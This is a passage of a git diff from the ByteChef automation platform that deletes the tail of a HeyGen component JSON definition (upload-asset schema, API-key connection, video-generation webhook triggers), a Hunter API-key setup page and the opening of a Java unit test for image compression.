-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "Unique identifier of the uploaded asset.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "ID assigned to the uploaded asset.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "name",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "Type of the uploaded asset, for example, audio, video, or image.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "file_type",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "Unique identifier of the folder that contains the asset.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "folder_id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "Metadata related to the uploaded asset.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "meta",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "INTEGER",
-            "defaultValue": null,
-            "description": "Unix timestamp when the asset was created.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "maxValue": null,
-            "metadata": { },
-            "minValue": null,
-            "name": "created_ts",
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": null,
-            "required": null,
-            "type": "INTEGER"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "URL to access or download the uploaded file.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "url",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "Image key for image-type assets.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "image_key",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          } ],
-          "required": null,
-          "type": "OBJECT"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "additionalProperties": null,
-        "advancedOption": null,
-        "controlType": "OBJECT_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "metadata": { },
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "properties": [ {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Unique identifier of the uploaded asset.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "id",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "ID assigned to the uploaded asset.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "name",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Type of the uploaded asset, for example, audio, video, or image.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "file_type",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Unique identifier of the folder that contains the asset.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "folder_id",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Metadata related to the uploaded asset.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "meta",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "INTEGER",
-          "defaultValue": null,
-          "description": "Unix timestamp when the asset was created.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "maxValue": null,
-          "metadata": { },
-          "minValue": null,
-          "name": "created_ts",
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "required": null,
-          "type": "INTEGER"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "URL to access or download the uploaded file.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "url",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Image key for image-type assets.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "image_key",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        } ],
-        "required": null,
-        "type": "OBJECT"
-      },
-      "sampleOutput": null
-    },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "FILE_ENTRY",
-      "defaultValue": null,
-      "description": "Asset file to upload.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "File Entry",
-      "metadata": { },
-      "name": "fileEntry",
-      "placeholder": null,
-      "properties": [ {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "extension",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      }, {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "mimeType",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      }, {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "name",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      }, {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "url",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      } ],
-      "required": true,
-      "type": "FILE_ENTRY"
-    } ],
-    "title": "Upload Asset",
-    "type": {
-      "name": "TOOLS",
-      "key": "tools",
-      "label": "Tools",
-      "multipleElements": true,
-      "required": false
-    },
-    "workflowNodeDescription": null
-  } ],
-  "componentCategories": [ {
-    "name": "artificial-intelligence",
-    "label": "Artificial Intelligence"
-  } ],
-  "connection": {
-    "authorizationRequired": null,
-    "authorizations": [ {
-      "acquire": null,
-      "apply": { },
-      "authorizationCallback": null,
-      "authorizationUrl": null,
-      "clientId": null,
-      "clientSecret": null,
-      "description": null,
-      "detectOn": null,
-      "name": "api_key",
-      "oauth2AuthorizationExtraQueryParameters": null,
-      "pkce": null,
-      "properties": [ {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": "API key",
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "key",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      } ],
-      "refresh": null,
-      "refreshOn": null,
-      "refreshToken": null,
-      "refreshUrl": null,
-      "scopes": null,
-      "title": "API Key",
-      "tokenUrl": null,
-      "type": "API_KEY"
-    } ],
-    "baseUri": null,
-    "help": null,
-    "processErrorResponse": null,
-    "properties": null,
-    "test": null,
-    "version": 1
-  },
-  "customAction": true,
-  "customActionHelp": null,
-  "description": "HeyGen is an AI Video Generator that lets you create explainer videos, marketing and sales promos, product demos, training and onboarding content.",
-  "icon": "path:assets/heygen.svg",
-  "metadata": null,
-  "name": "heyGen",
-  "resources": null,
-  "tags": null,
-  "title": "HeyGen",
-  "triggers": [ {
-    "batch": null,
-    "deduplicate": null,
-    "deprecated": null,
-    "description": "Triggers when a video generation completes successfully.",
-    "dynamicWebhookRefresh": null,
-    "help": null,
-    "listenerDisable": null,
-    "listenerEnable": null,
-    "name": "videoGenerationCompletedTrigger",
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": { },
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": null,
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "video_id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": null,
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "url",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": null,
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "gif_download_url",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": null,
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "video_share_page_url",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": null,
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "folder_id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": null,
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "callback_id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          } ],
-          "required": null,
-          "type": "OBJECT"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "additionalProperties": null,
-        "advancedOption": null,
-        "controlType": "OBJECT_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "metadata": { },
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "properties": [ {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "video_id",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "url",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "gif_download_url",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "video_share_page_url",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "folder_id",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "callback_id",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        } ],
-        "required": null,
-        "type": "OBJECT"
-      },
-      "sampleOutput": null
-    },
-    "poll": null,
-    "processErrorResponse": null,
-    "properties": null,
-    "title": "Video Generation Completed",
-    "type": "DYNAMIC_WEBHOOK",
-    "webhookDisable": { },
-    "webhookEnable": { },
-    "webhookRawBody": null,
-    "webhookRequest": { },
-    "webhookValidate": null,
-    "webhookValidateOnEnable": null,
-    "workflowNodeDescription": null,
-    "workflowSyncExecution": null
-  }, {
-    "batch": null,
-    "deduplicate": null,
-    "deprecated": null,
-    "description": "Triggers when a video fails to generate.",
-    "dynamicWebhookRefresh": null,
-    "help": null,
-    "listenerDisable": null,
-    "listenerEnable": null,
-    "name": "videoGenerationFailedTrigger",
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": { },
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": null,
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "video_id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": null,
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "msg",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": null,
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "callback_id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          } ],
-          "required": null,
-          "type": "OBJECT"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "additionalProperties": null,
-        "advancedOption": null,
-        "controlType": "OBJECT_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "metadata": { },
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "properties": [ {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "video_id",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "msg",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "callback_id",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        } ],
-        "required": null,
-        "type": "OBJECT"
-      },
-      "sampleOutput": null
-    },
-    "poll": null,
-    "processErrorResponse": null,
-    "properties": null,
-    "title": "Video Generation Failed",
-    "type": "DYNAMIC_WEBHOOK",
-    "webhookDisable": { },
-    "webhookEnable": { },
-    "webhookRawBody": null,
-    "webhookRequest": { },
-    "webhookValidate": null,
-    "webhookValidateOnEnable": null,
-    "workflowNodeDescription": null,
-    "workflowSyncExecution": null
-  } ],
-  "unifiedApi": null,
-  "version": 1
-}
\ No newline at end of file
diff --git a/server/libs/modules/components/hunter/src/main/resources/connection.mdx b/server/libs/modules/components/hunter/src/main/resources/connection.mdx
deleted file mode 100644
index a76420b5661..00000000000
--- a/server/libs/modules/components/hunter/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,15 +0,0 @@
-## Connection Setup
-
-Connect Hunter to ByteChef using an API Key.
-
-### Get your Hunter API key
-1. Log in to your Hunter account: https://hunter.io/dashboard
-2. In the left sidebar, click **API**.
-3. Click **Create new key** (or generate a new key).
-4. Copy the generated API key and keep it handy.
-
-For details, see Hunter’s API authentication docs: https://hunter.io/api-documentation
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/ofjNrNG6zPIxgb0AmGZ4?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/image-helper/src/test/java/com/bytechef/component/image/helper/action/ImageHelperCompressImageActionTest.java b/server/libs/modules/components/image-helper/src/test/java/com/bytechef/component/image/helper/action/ImageHelperCompressImageActionTest.java
deleted file mode 100644
index c2ae400f3e8..00000000000
--- a/server/libs/modules/components/image-helper/src/test/java/com/bytechef/component/image/helper/action/ImageHelperCompressImageActionTest.java
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.image.helper.action;
-
-import static com.bytechef.component.image.helper.constant.ImageHelperConstants.IMAGE;
-import static com.bytechef.component.image.helper.constant.ImageHelperConstants.QUALITY;
-import static com.bytechef.component.image.helper.constant.ImageHelperConstants.RESULT_FILE_NAME;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyString;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.mockStatic;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.FileEntry;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.awt.image.BufferedImage;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.InputStream;
-import java.util.Collections;
-import java.util.Map;
-import javax.imageio.ImageIO;
-import javax.imageio.ImageWriteParam;
-import javax.imageio.ImageWriter;
-import javax.imageio.stream.ImageOutputStream;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-import org.mockito.MockedStatic;
-
-/**
- * @author Marija Horvat
- */
-class ImageHelperCompressImageActionTest {
-
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Context.File, ?>> contextFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final Context mockedContext = mock(Context.class);
-    private final Context.File mockedContextFile = mock(Context.File.class);
-    private final ImageOutputStream mockedImageOutputStream = mock(ImageOutputStream.class);
-    private final ImageWriter mockedImageWriter = mock(ImageWriter.class);
-    private final ImageWriteParam mockedImageWriteParam = mock(ImageWriteParam.class);
-    private final FileEntry mockedInputFileEntry = mock(FileEntry.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(
-        Map.of(IMAGE, mockedInputFileEntry, QUALITY, 1, RESULT_FILE_NAME, "compressedImage"));
-    private final FileEntry mockedResultFileEntry = mock(FileEntry.class);
-
-    @Test
-    void testPerform() throws Exception {
-        BufferedImage originalImage = new BufferedImage(200, 200, BufferedImage.TYPE_INT_RGB);
-
-        File tempFile = File.createTempFile("image", ".png");
-        tempFile.deleteOnExit();
-
-        when(mockedInputFileEntry.getExtension())
-            .thenReturn("png");
-        when(mockedContext.file(contextFunctionArgumentCaptor.capture()))
-            .thenAnswer(invocation -> {
-                ContextFunction<Context.File, ?> function = invocation.getArgument(0);
-
-                return function.apply(mockedContextFile);
-            });
-        when(mockedContextFile.toTempFile(mockedInputFileEntry))
-            .thenReturn(tempFile);
-        when(mockedContextFile.storeContent(anyString(), any(InputStream.class)))
-            .thenReturn(mockedResultFileEntry);
-        when(mockedImageWriter.getDefaultWriteParam())
-            .thenReturn(mockedImageWriteParam);
-
-        try (MockedStatic<ImageIO> imageIOMock = mockStatic(ImageIO.class)) {
-            imageIOMock.when(() -> ImageIO.read(tempFile))
-                .thenReturn(originalImage);
-
